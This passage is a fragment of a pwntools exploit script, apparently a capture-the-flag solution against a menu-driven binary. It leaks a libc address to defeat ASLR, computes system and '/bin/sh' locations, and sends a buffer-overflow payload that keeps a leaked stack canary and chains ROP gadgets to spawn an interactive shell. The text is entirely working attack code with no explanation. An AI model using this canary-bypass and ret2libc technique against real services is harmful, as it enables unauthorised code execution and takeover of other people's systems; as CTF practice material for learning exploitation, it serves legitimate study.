p.sendlineafter(b'>> ', b'3')
c_func_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = c_func_addr - libc.sym[c_func_name]
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success(f'{c_func_name}={hex(c_func_addr)}, base={hex(libc_base)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')

p.sendlineafter(b'>> ', b'1')
p.send(b'c'*(0x90-8)+canary+p64(0x00400a30)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(main))
p.sendlineafter(b'>> ', b'3')
p.interactive()